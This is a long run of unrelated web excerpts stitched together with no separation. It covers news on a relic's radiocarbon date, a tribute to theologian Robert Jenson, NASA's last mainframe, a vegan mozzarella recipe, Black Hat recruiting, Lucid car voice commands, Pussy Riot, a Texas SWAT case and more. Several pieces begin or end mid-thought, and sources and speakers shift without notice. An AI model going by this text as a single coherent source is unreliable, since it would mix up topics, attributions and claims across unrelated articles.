That said, this one feels more legit than that kid at college who claimed to be a descendant of Abe Lincoln. There's a reason why Larry was able to do a version of Curb Your Enthusiasm with Bernie as the main character and it felt exactly like his regular show.
I can't wait for video from what will certainly be the most irritable family reunion this country has ever seen.
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Under the guise of protecting free speech, you published content that bullied Prof. Rambukkana, as well as the university at large, into apologizing for an act of intervention that was neither unfair nor unwarranted. Instead of taking a stand against hate speech, you have given dangerous credence to the views of (University of Toronto Prof.) Jordan Peterson and his supporters, flying in the face of the Canadian Charter of Rights and Freedoms.
As the leaked recording of their meeting shows, Prof. Rambukkana did not attack or endanger Shepherd’s right to hold an opinion. Rather, he challenged her decision to represent that opinion in class without a critical acknowledgment of its social impact.
As recognized by federal law and nearly all progressive social institutions, gender pronouns are a basic site of self-representation. Peterson’s brazen disdain for these protections is a violation of the human rights of students with non-normative identities.
However, an Oxford University radiocarbon expert, professor Tom Higham, has now carried out an examination of the wooden cross using Oxford's radiocarbon accelerator unit.
He did so at the behest of CNN, who ran a series called “Finding Jesus” over several nights last week.
His findings will deeply disappoint those who venerate the sacred item. The radiocarbon accelerator dates the relic not to the time of Christ but over one thousand years later to the 11th century.
Higham stated he was “disappointed” by the revelation but was hopeful that other relics might date back to the beginning of Christianity.
Candida Moss, Professor of New Testament and early Christianity at Notre Dame, was not surprised at the findings.
“There are churches all over the world that claim to have fragments or splinters of the true cross,” she said. “These aren't being carbon dated and there are a few reasons why. First, carbon dating is expensive, and your average church doesn't have the funds for this kind of endeavor. Second, carbon dating is seen as intrusive and a little destructive.
“Even if only about 10 milligrams of wood are needed, you're still chipping away at a holy object. This isn't something that churches like to do, especially as – and this leads me to my third point – almost all carbon dating tests end up discrediting the relics that are being tested. So, it's not in the best interest of the Roman Catholic and Eastern Orthodox Churches that claim to possess relics to have them tested,” she told CNN.
Sampling the Waterford Cross “The procedure should leave little perceptible trace of damage in theory, but it’s a nerve-wracking business.” In this sneak peek, experts attempt to safely extract a sample of wood from the Waterford Cross, an Irish relic that claims to hold a piece of the True Cross itself. Will they be successful?Find out when you tune in to the next episode of #FindingJesus this Sunday at 9p ET/PT on CNN. http://cnn.it/1DaeDXk Posted by Finding Jesus on Friday, March 27, 2015
The Waterford Cross, according to local experts, was a gift to Muircheartach Ó Briain, King of Munster from Pope Paschal II in the year 1110. Muircheartach could well have presented it to Archbishop Malchus the following year, in 1111, on his consecration as Archbishop of Cashel.
The relic is composed of five separate pieces of wood identified as cedar and is enclosed in silver. On the front is a Latin inscription which identifies the wood as a piece of the True Cross and this inscription has been dated to about 1110. While the inscription matches the radiocarbon date it had long been held the cross itself was much older.
Following the resignation of Malchus as archbishop of Cashel, the relic of the True Cross remained in the cathedral in Waterford. It may have been encased in a larger cross or crucifix on the main altar. During solemn religious processions this crucifix with the relic inside would have been carried through the streets of Waterford by the bishop, accompanied by the clergy of the diocese.
Lead author Katrina M. Walsemann of the University of South Carolina and her team used data from the National Longitudinal Survey of Youth, analyzing responses on mental well-being and educational loans from 4,643 Americans born between 1980 and 1984. As they suspected, their results did indeed show that those with student loans were more likely to exhibit signs of poorer mental health, according to their answers on the Mental Health Inventory (that’s a standardized questionnaire social scientists often use to measure a person’s psychological state).
It’s that time of the year again. Silly season heating up and today we’ve stumbled upon a doozy of a rumor. It’s important to remember that with all transfer rumors, especially during the winter in MLS, should be taken with a grain of salt.
However, Cesar Lusi Merlo, a news producer with TyC Sports in Argentina has tweeted out that Atlanta United are willing to pay a $14 million transfer fee for 18-year-old center attacking midfielder Ezequiel Barco from Independiente in the Argentine Primera Division.
Merlo says that Atlanta are willing to pay the fee, a sum that would smash the current top transfer fee ever paid by an MLS club. He also says that Independiente would allow the player to leave, but that it’s Barco who holds all the cards to allow the deal to happen.
Barco is a highly rated prospect in world soccer. FourFourTwo listed him at No. 17 in their Top 100 teenagers in the world in 2017. He has been tenuously linked to clubs like Tottenham Hotspur, AC Milan and Zenit St. Petersburg in the past.
From the NSA's official statement:
Prior to President Johnson's decision, instructions for the emergency use of nuclear weapons that both he and his predecessors had previously approved stipulated a full-scale nuclear counter-attack even if the initial strike were conventional, or the result of an accident, and both Communist giants would be targeted regardless of whether either of them had launched the first strike. This new information is contained in a record of a meeting between President Johnson and his top national security advisers on 14 October 1968. At the meeting, Johnson's military and civilian aides unanimously recommended that the standing orders, known by the code-name "Furtherance," be revised substantially in order to reduce the inherent risks involved. The changes included providing instructions to commanders to respond to a conventional attack with conventional weapons-an implicit "no-first use" nuclear policy. At the session, speaking of the new approach, National Security Advisor Walt Rostow advised Johnson: "We think it is an essential change. This was dangerous." The entire Joint Chiefs of Staff concurred.
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"This was dangerous," they said. Jeez, d'ya think? Man, it's a good thing JFK didn't go philandering off somewhere during the Cuban Missile Crisis.
And this policy would have held true even if an apparent attack was accidental! I guess the thinking must've been, If we're going down, the whole WORLD's going down!
Somebody, get Stanley Kubrick on the phone....
More here.
In 2011, while I was writing a master’s thesis about Robert Jenson’s theology, I had the jarring experience of noticing him and his wife, Blanche, seated in the pew in front of me at Trinity Church in Princeton, New Jersey. We had only exchanged email before. My heart raced. During the exchange of the peace, I approached him and Blanche to introduce myself, and nervously blurted out, “Are you Robert Jenson?” Blanche smiled, and Jens said, “Well, that’s my name.” Three years later, I was living in New Jersey again, and working on a doctoral dissertation on his and James Cone’s theologies. Jens agreed to meet with me for an hour each week, and this routine continued until June of this year.
At the third or fourth of our weekly meetings I asked him something, and he gave me a characteristically terse answer. I waited a few moments, and then broke the silence by saying, “Dr. Jenson, I feel like I’m doing all the talking.” Through his beard I could see him smiling. “That’s exactly what I intended,” he said. “Also, my friends call me Jens.”
In my first year of graduate school, almost a decade ago, I read the first volume of Jenson’s Systematic Theology, and since then there has hardly been a day when I did not grapple with his theology in some way. But more than that, the time spent meeting with him to discuss theology, to read books and Scripture together, to reflect on the state of the Church and the world, to celebrate milestones, and finally to prepare for his death established a transformative relationship. At first he was a name on the cover of a book, but he became a teacher, and then a mentor and a friend. Jens once admitted to me that even then, in his old age, he could not so much as write his name down without thinking about Karl Barth, about whom Jens wrote his dissertation, and with whom, like me, he had regular meetings. Jens observed, rightly and humbly, “It could hardly be different for you.”
Jens was a gift to me. His theology has deepened my faith, and has taught me to worship more faithfully. But more importantly, Jens was a gift to the Church. His death is a loss, even to those who do not know his work. However, as St. Paul put it, the gifts of God are irrevocable. Though Jens has passed from this life, God is not finished using him in the Church. Jenson’s theology is only beginning to be appreciated and understood.
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In his classic book Story and Promise (Fortress, 1973), Jenson wrote that the gospel is “a word about an alleged past event, and it functions as an unconditional promise.” In Jensonian fashion, one may say that if the gospel of Jesus is true, then the history of God’s work in and through Jens is not only a past to be remembered, but is a promise for the future, which we may anticipate. Death did not have the last word on Jesus; it will not have the last word on Jens, nor on God’s work through him. I want to share some of the significant things I have received from Jens, which I hope to see God use in the Church in the future.
Jenson taught that theology is the work of thinking about how to convey the significance of the gospel. Chiefly, he argued, this means putting the claims of the gospel in dialogue with the religious assumptions of the culture. From St. Paul’s appropriation of the shrine to the unknown God at Athens, to Gregory of Nyssa’s or Thomas Aquinas’s reworking the notion of being, Church theologians have been evangelizing paganism. The Church’s missionary work has always required theologians to develop a revisionary metaphysics, that is, a renewed apprehension of all reality in light of the news that the God of Israel has raised his servant Jesus from the dead, having first raised Israel from Egypt.
In Jenson’s interpretation, the Church’s theological work of evangelizing paganism begins with the startling news that God has come to us creatures in Jesus, having promised salvation to Israel, and by his Spirit having moved created history to the fulfillment of this promise. Evangelism, and so the theological thinking that goes into it, begins with the evangelical narrative, which requires us to talk about the three agents of this narrative: Jesus, the God of Israel whom he called his Father, and their Spirit.
In telling and thinking about this evangelical narrative, what we learn is that the One who made the promise to Israel is the same One by whom the promise came to fulfillment, and again is the same One who himself is the fulfillment. In Jenson’s theology, the climactic truth of the gospel is not, as some have suggested, God’s Threeness; rather, it is found in Israel’s confession of faith, the Shema. The great mystery of the gospel is that God is one. The mystery of the Trinity is that God is one. The mystery of the Incarnation is that God is with us, and yet God is still one. Jenson wrote in his Systematic Theology, “The identity of the crucified Jesus and the risen Jesus is nothing other than the oneness of God. That is why it can and must be believed: it is identical with the final object of faith.”
Revisionary metaphysics teaches us that our conceptions of God are premature. We rush to grasp God’s oneness; the gospel makes us wait for the triune God’s promise. What God promises is that we will be with him, and that we will see in Christ’s death and resurrection — and ours with him — the mystery that God is one. Regarding this mystery, Jens told me, “The point of Trinitarian doctrine is not to resolve the mystery; I have been attempting to describe it. There are things that I have written that I do not understand fully, but that I nevertheless believe.”
Jens spent his career pursuing those things that he believed but did not understand fully. When I once asked him what he would like to have spent more time on, he responded with two things: his understanding of the pre-existence of Christ, and politics.
Because the driving force of Jenson’s theology is the oneness of the Creator God who is nevertheless one with us creatures, he was never completely satisfied with his answer to the metaphysical question of the Word prior to his Incarnation. In Jenson’s thinking, if the Word exists prior to and apart from the flesh of Jesus, then the Word will always remain, in some way, distinct from Jesus. But Jesus is the eternal Word. Therefore, he reasoned, there can be no Word apart from the flesh of Jesus — no “Logos Asarkos.”
This reasoning generated Jenson’s most radical theological proposal: an eschatological rather than protological understanding of being, or ontology. Jenson taught that God’s being is not the adamant persistence of what already is, but the perfect anticipation of what will be.
Jenson’s theme of story and promise captures this eschatological ontology. In Jenson’s theology, the oneness of God is the absolute identification of God’s promise with its fulfillment: God is principally the End, the One who promises the End, and the Word of promise. Creation is the history made by God’s Word of promise. God promises that we creatures will be with him, and therefore we creatures and our history exist. By his Word of promise, God called Abraham, gathered Israel, and, at the fullness of time, the Word was born to Mary. The man Jesus is eternally God’s Word — to himself and to us. God’s Word is the last word, and therefore the first word. The time in which we live is bracketed in the eternity of this God.
What we creatures anticipate is the final fulfillment of the history God has created. We wait, as Jenson would say, for the dry bones to live. We await the kingdom. God created us for a political community in which, with death behind us, we will be gathered to Christ and one another. Life in history is lived by hope. But this is not hope for pie in the sky; rather, as Jenson wrote, eschatological hope is the basis of our hopes for “potatoes on earth.” Because we are promised the kingdom, we are free to be a revolutionary “conspiracy” and “band of spies” for the future, subverting the stagnation and status quo of a world that resists the future.
Jens’s political sensibilities remain a delightful surprise to me. Once, when discussing my efforts to put his theology in dialogue with Cone’s work, I asked what he thought of black liberation theology, and he said, “Not radical enough.” I laughed and told him that Cone might not agree. He laughed and said, “Well, in the end we’ll see who the real revolutionary is.”
If there is any revolutionary community, for Jens that community is the Church, which is the only community whose life is to anticipate the kingdom. Baptism into the Church is also initiation into the kingdom. I suspect that the centrality of the Church in Jens’s political and eschatological thinking was what motivated him to work toward ecumenical unity. Jens was unsurpassed in his faithful grief over the divisions of the Church. His dedicated work in cofounding and leading the Center for Catholic and Evangelical Theology is just one example of his commitment to doing theology for the one Church. I experienced this commitment as Jens gave me pastoral counsel as I prepared for ordination in the Episcopal Church.
Jens’s pursuits were not only metaphysical and political but aesthetic. Jens saw the beauty of God, and believed that it was central to the Church’s resistance against nihilism to reflect God’s beauty in worship, in art and drama, in literature and storytelling. Jenson taught that Christians comprise a community that tells and lives out the drama of God’s story, and in so doing lets the world see the beauty of what God has done and will do.
NASA pulled the plug on its last mainframe computer this month, an IBM Z9 mainframe at the Marshall Space Flight Center, NASA's giant research facility near Huntsville, Alabama.
NASA CIO Linda Cureton announced the unplugging with a blog post. After first taking a bit of time to explain what the heck a mainframe is – "a big computer that is known for being reliable" – she then reminisced on her early days as a programmer, back when writing assembly language programs for an IBM 360-95 at the Goddard Space Flight Center was "still cool."
It turns out that IBM has a long and storied history with U.S. space flight programs – one that predates NASA itself.
Back in the 1930s, Columbia University researcher Wallace Eckert used IBM accounting machines – including the Model 601 Multiplying Punch – to do the early calculations that helped put the Apollo astronauts on the moon 30 years later. In 1955, the U.S. Army's Computational Laboratory in the Guided Missile Division – which was later folded into NASA – used IBM 650 machines.
Sittra Battle pulls the plug on NASA's last mainframe (Photo: NASA)
But the mainframe – introduced in 1964 – became a symbol of NASA's glory days of big aspirations – and big budgets.
Mainframes kept track of materials for Saturn V and helped guide the first manned flight around the moon – Apollo 8. IBM 360 mainframes were chugging away back in Houston in the summer of 1969 when Neil Armstrong and Buzz Aldrin became the first men to walk on the moon. The mainframes did the calculations that helped get them back to earth.
NASA didn't return Wired's calls asking for some comment on the mainframe's sad unplugging, but on her blog, CIO Cureton offered a final assessment: "They're really not so bad honestly, and they have their place."
This addresses some of the most common ways that cyclists are hit by cars: the left hook, and the right hook. More on this soon. I’d really like to create a follow-up comic to How to Fix a Flat where I explain how to avoid the most common types of accidents that cyclists have. What do you think?
Hutchinson is an old hand at such studies. He has guided rhinos, emus, elephants, salamanders, horses, and penguins over force plates before. Each species presents its own challenges. Giraffes were especially easy; cats, less so. The tigers of Colchester Zoo were terrified of the force plates and the researchers themselves—were, in turn, terrified of the tigers. But after a lot of chicken bribes (and a few rubber mats that were torn apart by the animals), the team got the data they needed. Here's what it looks like when things go well: a tiger strides purposefully through a wooden walkway and over a force plate embedded in the floor:
Having captured data for panthers, pumas, tigers, and cheetahs, the team are now trying to study smaller cat species, and the Cat Survival Trust has several. “We’re mostly playing it by ear because we don’t know how these animals are going to behave,” Hutchinson tells me. “It’s unpredictable what’s going to happen here so we’re going to start with a relatively easy animal.”
He meant the golden cat. Dispirited by its refusal to cooperate, the team tried their luck with Pudding, a rambunctious four-month-old Eurasian lynx with a spotted coat, tufty ears, and large doleful eyes. In the wild, his long legs and large feet would be ideal for padding through snow. In captivity, they're great for mauling a dead chicken, and killing a broom that's propped up against his cage. Unlike the other golden cats, Pudding is well acclimated to people. “We'll get something with him; he should perform again and again,” says Hutchinson.
The problem is that, acclimation aside, Pudding is still a cat—an innate master of not doing what you want him to do. He pounces on the force plates. He walks around them. He steps on to them but then leaps off. He mooches on top of them. He bites the power cables. Hutchinson asks if he can go in the cage and try to lead Pudding around. Sure, says the keeper, “but he's got a thing for trying to sever your spinal cord.” The keeper goes in with Pudding's teddy—a well-chewed soft toy lynx!—and tries to lead him around, but he leaps and twists and runs, instead of purposefully walking over the plates like the Colchester tiger. “We need a bored cat,” says Hutchinson.
As we watch, I ask him if this study will lead to any medical insights that would be important for cat owners. It won't. It's simply about the evolution of these endearing animals. “It’s a basic science project,” he says. “It’s curiosity-driven.”
Curiosity, huh? Maybe that’s why the cats aren’t cooperating.
Last week, I went to Planta Burger in Toronto with colleagues at lunch – the chic-fancy-McDonald’s-eque-plant-based-restaurant was PACKED and the food was absolutely delicious. Planta makes not only the best burger I’ve ever eaten out but it also tops its burgers with an amazing dairy-free cheese. It was savoury, melty, and creamy without being greasy like a lot of vegan cheeses I’ve tried tend to be.
I know that cheese is often one of the hardest things to veganize but this plant-based cheese at Planta was just as good as the non-vegan stuff I remember.
And I’ve also been busy at home testing homemade Vegan Mozzarella Cheese for the past couple weeks until it was just perfect to share with you. And lemme-tell-you, this Vegan Mozzarella is not your typical cashew cheese recipe.
It’s melty, stretchy, and super cheesy and comes together in only 15 minutes (+ chill time) with 7 simple ingredients.
Blend all the ingredients together until creamy smooth. Warm over medium-low heat and mix until thick, stretchy, gooey, and super cheeeeesy. ⇩⇩⇩
You can eat this Vegan Mozzarella like this – warm, stretchy, and perfect straight from the pan. Or…
I like to pour the hot Vegan Mozzarella into a bowl and leave it to chill and harden slightly. The result is a soft, light, and creamy Mozzarella cheese that tastes good on pretty much everything!
If you make this Vegan Mozzarella Cheese at home, take a photo and tag me #CearasKitchen on Instagram or leave your feedback below.
I love serving this Vegan Mozzarella as an appetizer with fresh pesto, basil and tomatoes. You can also enjoy this Dairy-Free Cheese on pizza, burgers, pasta and pretty much anything that would pair well with cheese. Enjoy! XO
Vegan Mozzarella Cheese Print This Rating: 2.9 /5 ( 7 voted ) Ingredients 1 cup cashews
1 cup aquafaba (liquid from 1 can of chickpeas)
1 tbsp apple cider vinegar
1/2 tbsp vegetable bouillon
1 clove garlic
1 1/2 tbsp (also know as tapioca flour) tapioca starch
1 - 2 tbsp nutritional yeast
1/2 tsp sea salt DIRECTIONS Soak the cashews overnight in the fridge in cold water or for 15 minutes in a pot of freshly boiled, hot water. Rinse the cashews and place in a high-speed blender . Add the aquafaba, apple cider vinegar, vegetable bouillon, garlic clove, tapioca starch, 1 tbsp nutritional yeast, and sea salt to the blender. Blend for 2 to 3 minutes until creamy smooth. Taste test and add additional nutritional yeast or sea salt to taste. Warm a medium-sized pan over medium-low heat, pour the cheese sauce into the pan and stir until the cheese thickens to a thick and stretchy consistency (see photo and video). The cheese should not drip from the spatula when you lift the spatula up (see video). You can enjoy the cheese warm like this or leave it to chill by following the next steps. Add the cheese to a bowl and cover halfway with plastic wrap. Tap the bowl on the counter a couple times to get the air bubbles out. Leave to chill completely (about 25 minutes) and then fully cover with plastic wrap and place in the fridge to cool and harden (4 hours to overnight). If desired to serve as an appetizer, with a knife scrape around the sides of the cheese against the dish to loosen the cheese from the sides of the dish. Place a plate on top of the cheese and flip the cheese. Jiggle and tap the bottom of the bowl until the cheese comes loose. If necessary, smooth the top of the cheese with a spoon. Serve with sliced tomatoes and basil or enjoy in a grilled cheese sandwich. Enjoy! Vegan Mozzarella Cheese was last modified: by
Other Vegan Cheese Recipes
Nut Free Vegan Cheese
Vegan Parmesan – I sprinkle this on everything!
Nut Free Vegan Cheese Sauce – perfect for mac and cheese
A recruiter advertises a QR code to attract hackers to apply for jobs at the Black Hat security conference in Las Vegas, Nevada, U.S. July27, 2017. REUTERS/Joseph Menn
The new reality is on display in Las Vegas this week at the annual Black Hat and Def Con security conferences, which now have a booming side business in recruiting.
“Hosting big parties has enabled us to meet more talent in the community, helping fill key positions and also retain great people,” said Jen Ellis, a vice president with cybersecurity firm Rapid7 Inc, which filled the hip Hakkasan nightclub on Wednesday at one of the week’s most popular parties.
Twenty or even 10 years ago, career options for technology tinkerers were mostly limited to security firms, handfuls of jobs inside mainstream companies, and in government agencies.
But as tech has taken over the world, the opportunities in the security field have exploded.
Whole industries that used to have little to do with technology now need protection, including automobiles, medical devices and the ever-expanding Internet of Things, from thermostats and fish tanks to home security devices.
More insurance companies now cover breaches, with premiums reduced for strong security practices. And lawyers are making sure that cloud providers are held responsible if a customer’s data is stolen from them and otherwise pushing to hold tech companies liable for problems, meaning they need security experts too.
The non-profit Center for Cyber Safety and Education last month predicted a global shortage of 1.8 million skilled security workers in 2022. The group, which credentials security professionals, said that a third of hiring managers plan to boost their security teams by at least 15 percent.
For hackers who prefer to pick things apart rather than stand guard over them, an enormous number of companies now offer “bug bounties,” or formal rewards, for warnings about vulnerabilities that leave them exposed to criminals or spies.
One of the outside firms that handle such programs, HackerOne, said it has paid out $18.8 million since 2014 to fix 50,140 bugs, with about half of that work done in the past year.
Mark Litchfield made it into the firm’s “Hacker Hall of Fame” last year by being the first to pull in more than $500,000 in bounties through the platform, well more than he earned at his last full-time security job, at consulting firm NCC Group.
In the old days, “The only payout was publicity, free press,” Litchfield said. “That was the payoff then. The payoff now is literally to be paid in dollars.”
There are other emerging ways to make money too. Justine Bone’s medical hacking firm, MedSec, took the unprecedented step last year of openly teaming with an investor who was selling shares short, betting that they would lose value.
It was acrimonious, but St Jude Medical ultimately fixed its pacemaker monitors, which could have been hacked, and Bone predicted others will try the same path.
“Us cyber security nerds have spent most of our careers trying to make the world a better place by engaging with companies, finding bugs which companies may or may not repair,” Bone said.
“If we can take our expertise out to customers, media, regulators, nonprofits and think tanks and out to the financial sector, the investors and analysts, we start to help companies understand in terms of their external environment.”
Chris Wysopal, co-founder of code auditor Veracode, bought in April by CA Technologies, said that he was initially skeptical of the MedSec approach but came around to it, in part because it worked. He appeared at Black Hat with Bone.
“Many have written that the software and hardware market is dysfunctional, a lemon market, because buyers don’t know how insecure the products they purchase are,” Wysopal said in an interview.
Android Auto and Apple CarPlay offer drivers access to their smartphone’s voice assistant, but automakers like Ford and Acura provide their own assistants that can understand simple commands to change settings like climate control.
The plans from Lucid Motors — the new electric car company that aims to rival Tesla — for voice integration certainly will raise the bar for natural language processing inside cars.
“I think many of you would agree that the auto industry has not been successful bringing voice command into the vehicle very well,” Derek Jenkins, vice president of design at Lucid said this month at the New York Auto Show.
Natural language commands are all part of Lucid’s vision of the future. Its first car, the luxury-focused Air, gives a front seat to voice. When deliveries start in 2019, the $52,500 vehicle will be taking on the likes of Tesla in the race to shape the future of automobiles.
“Voice we saw from the beginnings as a foundational element of what we see as the future of automotive [user experience],” James Felkins, a user experience designer at Lucid, tells Inverse.
Felkins points to research like this that finds the visual cognitive capabilities of a driver are consumed by the act of driving, making it difficult to control other parts of the car without losing focus. For the most part, though, drivers don’t talk too much, leaving an opportunity for Lucid to change the driving experience.
And “the things that get me in trouble on my phone, I’m just going to ask for from the car,” says Jenkins.
The company is working with an as-yet unnamed partner on the artificial intelligence backend. The Air will use an existing voice assistant and add in extra commands. That means Lucid can depend on another company’s expertise in natural language processing, and owners will be able to use the same assistant in situations outside of the car.
“We don’t think that it’s necessarily best for our end user to have multiple assistants in their life,” Felkins says. “If you have an Echo and an iPhone and an Android device, you’ve already got three personal assistants. We want to extend the digital life that you have into the vehicle.”
It may use an existing assistant, but these commands will change the way you use your car. Here are the nine predictions from Felkins and Jenkins.
Go ahead, it's listening.
1. “Turn off the lane departure warning”
You’re driving along and hear an irritating beep. Lane departure warnings are designed to inform drivers that they’re about to veer out of their lane, but sometimes they’re not appropriate. You want to switch it off, but you’ve never needed to before. In days gone by, you would have to mash buttons until the beeping stopped.
“That can be difficult to do, especially while you’re driving,” Felkins says. “You’ve probably never encountered that setting before, even if you’ve owned the car for a while.”
Not so with the Lucid Air. If you want the car to stop doing something, just tell the car to stop doing it. Couldn’t be simpler.
“With voice you can access any setting instantaneously,” Felkins says.
2. “What’s traffic like on my commute to work?”
Jenkins lays out a common scenario: “I get in the car and I want to know how long it’s going to take to wherever I’m going. I end up going onto Waze, because it’s the most accurate thing out there at checking my time.”
And checking your phone mid-journey can be dangerous. Natural language commands would make this easier and safer.
3. “Where’s the Starbucks?”
“That’s where natural voice is so critical, more in line with something like Amazon Echo, where if you want something from the car, you simply ask for it,” Jenkins says.
4. “Soften my suspension”
Don’t like the way your car’s handling? Tell the Air how you’d like it changed. The list of voice configurable settings extends to the car’s mechanics. Ask the car to soften your suspension, or make your steering feel a bit sporty. All without taking your hands off the wheel.
You can't hear the rock happening, but you can imagine.
“Playing music on my playlist,” Jenkins says. “If I want to hear a specific song, much like Alexa — Led Zeppelin, Rage Against the Machine — I just want to ask for it.”
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6. “Text Mike, ‘I’ll be there in five minutes’”
The Air has a number of advanced audio features to isolate the speaker’s voice. The car has been designed with noise canceling in mind: out of the 29 high-end speakers inside the car, eight are dedicated to active noise cancellation, producing a sound wave that works against the external car sounds. Drivers will be able to dictate text messages like these without the fear that it’ll turn up on their friend’s phone as a garbled mess.
Do your worst, massage chairs.
7. “Give me a Swedish massage”
Inside the car, 12 beam-forming mics are used to locate a user’s voice. The end result is the car can tell who is speaking when. It’s a useful security guard against backseat passengers trying to mess with the steering, but it also means that if someone asks the car to switch on their seat’s massage feature, the car will know which person is speaking and switch on the correct massager.
8. “Play my reading playlist”
This involves calling on other apps and using their data in commands. Although some cars already support voice commands for playing music, if you have a third party audiobook player you might not be able to get the two systems to play nice. Lucid is working on making this happen.
"I love this e-book," you might say to your companion in the backseat.
9. “What’s the weather like at my destination?”
The results — three spare, nervy renditions of songs from 2015's Dry Food — are, naturally, a bit rawer and more exposed than Palehound's earlier show in New York. But, with the aid of drummer Jesse Weiss and bassist Davood Khoshtinat, Kempner uses that intimacy to her advantage. She may have paused to show off a bit of glittery flair on her guitar (courtesy of her former tourmates in PWR BTTM), but her set felt unadorned in every other way.
Dry Food is available now. (iTunes) (Amazon)
Set List
"Pet Carrot"
"Dry Food"
"Dixie"
Credits
Producers: Bob Boilen, Niki Walker; Audio Engineers: Josh Rogosin; Videographers: Niki Walker, Kara Frame; Production Assistant: Jackson Sinnenberg; Photo: Brandon Chew/NPR.
(cc: The international press)
Here in Iceland, we are busy dealing with a series of mistakes in government, regulation and banking operations.
As a result of a total collapse of our banking system, customers in the UK have feared for their deposits in Icelandic banks, just like every single Icelander has. In accordance with international law, the Icelandic government has relatively clearly stated that it will guarantee the minimums required for private citizens. (They’re not always good with words – sorry about that…)
Municipalities and organizations – that are by law considered “professional investors” – may unfortunately have lost significant amounts. Up to 1% of their assets in some cases as I’ve understood. It may come as a surprise to you, but professional investors all over the world are losing gigantic amounts these days. Even 10s of % per day in some cases. Iceland is not to blame for that.
I know that it’s considered good domestic politics to find a common enemy in the time of crisis. It can hide facts about one’s own failing policies and create a team spirit at home, rallying against the new foe. Seems like your little scheme worked.
Up here is an entire nation – where most of us citizens are at a real risk of losing pretty much everything we own – we’re trying to put up a fight. If you can help even just a tiny bit by clearing up your deliberate misunderstanding – great. If you can’t, please stop bullying us, find someone of your own size to pick on and leave us alone while we try to rebuild our society more or less from scratch.
Your lad,
A Russian court has refused to defer the jail term of a member of punk protest group Pussy Riot over concerns for her child.
Maria Alyokhina, 24, had asked to serve the rest of her two-year sentence when her five-year-old son was older.
Her case was heard in Berezniki in the Perm region, near where she is jailed.
She was arrested last year after Pussy Riot interrupted a service at the main cathedral in Moscow with a protest song against President Vladimir Putin.
The ruling means that Alyokhina will remain in prison, some 750 miles (1,200km) north-east of her home in the capital, Moscow.
"The application for a deferral by Maria Alyokhina's lawyer, Oksana Darova, shall be refused. The court has decided that the fact that Alyokhina has a young child was taken into account by Moscow's Khamovnichesky court. No new circumstances have been established," the judge was quoted by Russian news agency Interfax as saying.
'Nothing to repent'
Alyokhina and fellow Pussy Riot member Nadezhda Tolokonnikova, 22, were convicted of "hooliganism motivated by religious hatred" over the obscenity-laced "punk prayer" against President Vladimir Putin, which they performed at the Christ the Saviour Cathedral on 21 February 2012.
The two women lost their appeals against their jail terms last October, but a third band member - Yekaterina Samutsevich - was freed with a suspended jail sentence.
"No-one will force me to say I'm guilty - I have nothing to repent for," Alyokhina had said in court earlier.
She had argued that her son Filipp was in his formative years and could not do without her.
"I'm in a situation where I have to prove here that my son needs me, which is obvious," she said.
Peter Verzilov, Tolokonnikova's husband, who has campaigned on Alyokhina's behalf, said before the ruling that Filipp "is small and misses his mother".
In November, she was transferred to solitary confinement because of tension with other inmates after she refused to join a hunger strike by other prisoners, her lawyer said.
It started when a friend concerned for [Chad] Chadwick’s emotional well-being called Missouri City police to Chad’s Sienna apartment where he’d been distraught, drinking and unknown to anyone, had gone to sleep in the bathtub. A SWAT team was summoned. “They told a judge I had hostages. They lied to a judge and told him I had hostages in my apartment and they needed to enter,” said Chadwick. Chadwick did own a single shotgun, but had threatened no one, not even himself. Chadwick’s firearm possession apparently prompted SWAT to kick in his door, launch a stun grenade into the bathroom and storm in, according to Chadwick, without announcing their identity. “While I had my hands up naked in the shower they shot me with a 40 millimeter non-lethal round,” said Chadwick. A second stun grenade soon followed. “I turned away, the explosion went off, I opened my eyes the lights are out and here comes a shield with four or five guys behind it. They pinned me against the wall and proceeded to beat the crap out of me,” said Chadwick. That’s when officers shot the unarmed Chadwick in the back of the head with a Taser at point blank range. “They claimed I drew down with a shampoo bottle and a body wash bottle,” said Chadwick . . . “They grabbed me by my the one hand that was out of the shower and grabbed me by my testicles slammed me on my face on the floor and proceeded to beat me more.”
Generally speaking, unless you’re certain your local police agency provides good training for crisis intervention and has a track record of resolving these situations peacefully, you should be cautious about calling the police when a loved one is having emotional problems. Too many just don’t have the proper training, and too often the preferred tactic is overwhelming force — the last thing someone in that sort of crisis needs. (The obvious exception here is if someone presents an immediate threat to others.)
In this case, there is at least the possibility that the police acted on bad information — that the whole thing was the product of miscommunication. But that doesn’t explain what happened next.
Chadwick, who hadn’t broken a single law when SWAT burst through his door, was taken to the Ft. Bend County Jail with a fractured nose, bruised ribs and what’s proven to be permanent hearing loss. He was held in an isolation cell for two full days. “Instead of apologizing to this man and asking let us see what we can do to help you to make you whole again, they concocted criminal charges against this man, one after another, after another,” said Quanell X who believes the prosecution of Chadwick was designed to fend off civil liability. Ft. Bend County District Attorney John Healy sought to indict Chadwick on two felony counts of assaulting a police officer, but a Grand Jury said no law was broken.
Score one for the grand jury. The prosecutor then hit Chadwick with a misdemeanor charge of resisting arrest. He was acquitted, despite the testimony of more than a dozen cops.
With tears in their eyes members of the jury offered the exonerated defendant comforting hugs . . . Ft. Bend County District Attorney John Healy declined to comment on camera, but did say he stands by his decision to prosecute Chadwick, despite the multiple no-bills and not guilty verdict. Asked how much the case cost taxpayers, Healy said “I wasn’t keeping a tally.”
Perhaps Fort Bend County (Tex.) voters should be keeping their own tally the next time Healy is up for reelection.
But while Chadwick was cleared by both a grand jury and a petit jury, unless he wins an unlikely appeal, his civil lawsuit won’t even get to a jury. Last month, a federal district court judge dismissed every one of Chadwick’s claims on summary judgment, finding that the claims either didn’t amount to a constitutional violation or that the government entities he sued were protected by sovereign immunity — the prosecutor by absolute immunity and the individual officers by qualified immunity. The opinion includes this surreal (but, unfortunately, legally accurate) line:
“There is no freestanding constitutional right to be free from malicious prosecution.”
The Iranian senior official made the remarks during the meeting with the President of the Belgian Chamber of Representatives, Siegfried Bracke, in Tehran. He voiced Iran’s readiness for expanding the scope of cooperation in areas of economy, politics, culture, and security with European countries especially Belgium.
The Belgian top law-maker who is visiting Tehran at the head of ranking delegation, joined Iranian Leader’s Aide Shamkhani to discuss the ways to expand the ways to increase the level of relations and cooperation between Iran and Belgium.
“The recent days’ event in Europe indicated that instrumentalist approach of some countries to terrorism in Iraq and Syria will lead to uncontrollability and spread of the horrific phenomenon to the heart of Europe,” warned the Iranian senior official blaming westerners and some regional states for arming, equipping, training, and developing terrorist groups in Syria and Iraq.
